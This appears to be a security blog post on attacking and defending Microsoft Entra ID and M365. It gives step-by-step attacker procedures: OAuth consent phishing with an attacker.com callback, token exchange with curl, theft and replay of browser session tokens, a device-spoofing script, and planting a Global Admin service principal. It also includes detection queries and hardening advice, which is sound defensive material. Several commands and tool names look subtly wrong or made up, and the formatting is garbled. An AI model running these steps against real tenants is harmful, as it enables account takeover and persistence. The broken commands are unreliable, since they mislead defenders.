Listen to this Post
Introduction:
Modern cloud environments rely heavily on identity as the primary perimeter, but Microsoft Entra ID (formerly Azure AD) and Microsoft 365 have become prime targets for sophisticated adversaries. Attackers now leverage OAuth phishing, token replay, Conditional Access bypasses, and cloud-to-cloud lateral movement to compromise organizations without ever touching a traditional endpoint.
Learning Objectives:
- Understand the most common modern attack vectors against Entra ID and M365, including OAuth abuse and MFA bypass techniques.
- Learn step-by-step detection and response strategies using native Microsoft 365 tools, Azure CLI, and PowerShell.
- Implement hardening measures such as Conditional Access policies, token protection, and continuous access evaluation.
You Should Know:
- OAuth Phishing & Token Abuse: The Silent Takeover
Attackers craft malicious OAuth applications that request high-privilege scopes (e.g., Mail.Read, Files.ReadWrite.All, User.Read.All). When a user consents, the attacker receives a refresh token without ever needing a password or MFA code.
Step‑by‑step guide – How attackers exploit OAuth:
- Register a malicious multi-tenant app in an Azure tenant controlled by the attacker.
- Configure redirect URIs (e.g.,
https://attacker.com/callback`) and enable implicit flow for tokens.
<h2 style="color: yellow;">3. Send a phishing link to the target:</h2>
`https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=&response_type=code&redirect_uri=https://attacker.com/callback&scope=https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/User.Read`
4. After victim consents, capture the authorization code and exchange it for tokens:Linux / Azure CLI command to exchange code (attacker side):
curl -X POST https://login.microsoftonline.com/common/oauth2/v2.0/token \ -d "client_id=<malicious_app_id>" \ -d "scope=https://graph.microsoft.com/Mail.Read" \ -d "code=<captured_auth_code>" \ -d "redirect_uri=https://attacker.com/callback" \ -d "grant_type=authorization_code"
Defensive detection (PowerShell):
List all OAuth apps with high privileges in your tenant Get-MgServicePrincipal -All | Where-Object {$_.AppRoleAssignment -ne $null} | Select-Object DisplayName, AppRoles, Oauth2PermissionScopesMitigation:
- Disable user consent for high-risk scopes via Microsoft Entra admin center → Enterprise applications → User consent settings.
- Enable “Admin consent requests” workflow.
- Audit apps using Microsoft Graph API:
`GET https://graph.microsoft.com/v1.0/servicePrincipals?$filter=consentType eq 'AllPrincipals' -
MFA Bypass via Token Replay & Session Cookie Theft
Even with MFA enforced, attackers steal valid session tokens (e.g., from browser cookies or token cache files) and replay them from a different machine.
Step‑by‑step guide – Token theft and replay:
- Extract tokens from a compromised device – e.g., from Microsoft Edge’s `Login Data` or from `%LocalAppData%\Google\Chrome\User Data\Default\Cookies` (Windows).
- Parse the token – find the `ESTSAUTH` or `x-ms-RefreshTokenCredential` cookie.
3. Use `roadreplay` (ROADtools) to replay the token:
Install ROADtools pip install roadreplay Replay a stolen refresh token roadreplay --refresh-token "<stolen_refresh_token>" --endpoint https://login.microsoftonline.com/common/oauth2/token
Windows command to identify token-protection gaps:
Check for legacy authentication protocols that bypass MFA Get-MgPolicyAuthenticationMethodPolicy | Select-Object -ExpandProperty AuthenticationMethodConfigurations
Mitigation:
- Enable Token Protection (requires Windows 11 22H2+ and conditional access policy).
- Implement Continuous Access Evaluation (CAE) – revokes tokens instantly when user risk changes.
- Monitor for token replay anomalies using Microsoft Entra ID Protection:
// KQL query for Azure Sentinel SigninLogs | where ResourceIdentity == "replay" or ConditionalAccessStatus == "failure" or RiskState == "atRisk"
3. Conditional Access Bypass via Device Compliance Spoofing
Attackers spoof device identifiers, OS versions, or location headers to meet Conditional Access requirements.
Step‑by‑step guide – Spoofing device claims:
- Modify device information sent by the browser – use DevTools or tools like `Device Spoofer` extension.
- For more advanced spoofing, use a custom OAuth client that manipulates the `device_id` and `device_platform` parameters:
Linux Python script example:
import requests
payload = {
"client_id": "legitimate_compromised_app",
"grant_type": "refresh_token",
"refresh_token": "stolen_token",
"device_id": "00000000-0000-0000-0000-000000000000",
"device_platform": "iOS" bypass Windows-specific CA policies
}
r = requests.post("https://login.microsoftonline.com/common/oauth2/token", data=payload)
print(r.json()["access_token"])
Defensive detection:
- Enable location-based Conditional Access with named locations and trusted IPs.
- Use session risk detection in Entra ID Protection.
- Audit device registration anomalies:
PowerShell: list devices registered outside expected locations
Get-MgDevice -All | Where-Object {$_.ApproximateLastSignInDateTime -gt (Get-Date).AddDays(-7)} |
Select-Object DeviceId, DisplayName, ApproximateLastSignInLocation, IsCompliant
4. Cloud-to-Cloud Lateral Movement & Invisible Persistence
After compromising one service (e.g., an OAuth app), attackers add service principals or application role assignments that grant access to other M365 workloads (SharePoint, Teams, Exchange) without user interaction.
Step‑by‑step guide – Abusing service principals for persistence:
- Authenticate with stolen token (e.g., from a compromised user).
- Create a new service principal and grant it `Application.ReadWrite.All` or
Directory.ReadWrite.All:
Using Azure CLI with stolen token az login --identity --username [email protected] az ad sp create-for-rbac --name "Persistence Agent" --role Contributor --scopes /subscriptions/.../resourceGroups/...
Windows Graph API PowerShell:
Connect-MgGraph -AccessToken (ConvertTo-SecureString "<stolen_token>" -AsPlainText -Force) New-MgServicePrincipal -AppId "<malicious_app_id>" -DisplayName "Shadow Admin" Assign high-privilege role (e.g., Global Admin) New-MgRoleManagementDirectoryRoleAssignment -PrincipalId "<sp_object_id>" -RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" -DirectoryScopeId "/"
Detection: Monitor for anomalous application role assignments:
AuditLogs | where OperationName == "Add app role assignment to service principal" | where InitiatedBy.user.userPrincipalName != "[email protected]"
Mitigation:
- Restrict creation of service principals to a dedicated admin PIM group.
- Enable Microsoft Defender for Cloud Apps anomaly detection for OAuth apps.
- Regularly audit high-risk service principals using ROADtools:
roadrecon auth -u [email protected] -p <password> roadrecon gather roadrecon gui
5. Defensive Hardening: Detection & Response Playbook
Immediate steps when suspecting Entra ID compromise.
Step‑by‑step incident response:
- Revoke all refresh tokens for the affected user:
PowerShell with AzureAD module Revoke-AzureADUserAllRefreshToken -ObjectId <user_object_id>
2. Disable the malicious OAuth app:
az ad app update --id <malicious_app_id> --set availableToOtherTenants=false az ad sp delete --id <malicious_sp_object_id>
3. Enable default global settings for MFA trust:
Turn on "Require re-authentication every time" for high-impact apps
Update-MgPolicyAuthenticationStrengthPolicy -AuthenticationStrengthPolicyId <policy_id> -AllowedCombinations @("password,microsoftAuthenticatorPush")
4. Configure detection rules in Microsoft 365 Defender:
// Detect multiple geo-locations in short time IdentityLogonEvents | where Timestamp > ago(1h) | summarize Locations = make_set(Location), Count = count() by AccountUpn | where array_length(Locations) > 2
6. Command-Line Toolkit for Auditing Entra ID
Linux / macOS (using Azure CLI and jq):
List all OAuth permissions granted to enterprise apps az rest --method GET --uri "https://graph.microsoft.com/v1.0/oauth2PermissionGrants" --query "value[?consentType=='AllPrincipals']" Find apps with high-impact Microsoft Graph scopes az rest --method GET --uri "https://graph.microsoft.com/v1.0/servicePrincipals?`$filter=appRoles/any(r:r/value eq 'RoleManagement.ReadWrite.Directory')" | jq '.[].displayName'
Windows (PowerShell with Microsoft Graph SDK):
Get all delegated permission grants
Get-MgOauth2PermissionGrant -All | Where-Object {$_.Scope -match "Mail.Read|Files.ReadWrite|User.Read.All"}
Export to CSV for auditing
Get-MgOauth2PermissionGrant -All | Export-Csv -Path "C:\Audit\OAuthGrants.csv"
What Undercode Say:
- Identity is the new battlefield – traditional endpoint defenses fail when attackers hijack tokens and OAuth grants. Your MFA is only as strong as your token hygiene.
- Defense in depth for cloud identity requires combining Conditional Access with continuous evaluation, admin consent workflows, and aggressive auditing of service principals. Automate detection of anomalous app role assignments.
The shift to cloud‑native identity has widened the attack surface beyond what legacy IAM tools can handle. Attackers no longer need malware – they just need one misconfigured OAuth consent screen. Organizations must move from “trust by default” to “verify every token, every time.” The techniques shown here (OAuth phishing, token replay, device spoofing) are already in the wild, and leHACK 2026 will demonstrate live breaks. Proactive hardening, user education on app consent, and real‑time token revocation (CAE) are no longer optional – they are survival requirements for any M365 tenant.
Prediction:
By 2027, token theft and OAuth abuse will surpass traditional password-based breaches as the primary entry vector for cloud compromises. Microsoft will be forced to deprecate legacy refresh token lifetimes in favor of short-lived, cryptographically bound tokens that are tied to device hardware. We will see widespread adoption of “Continuous Access Evaluation” as a default, along with AI‑driven risk scoring that automatically invalidates sessions based on anomalous API call patterns. However, attackers will pivot to abusing managed identities and serverless function permissions, forcing defenders to rethink identity protection for workloads – not just users.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Kondah Un – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
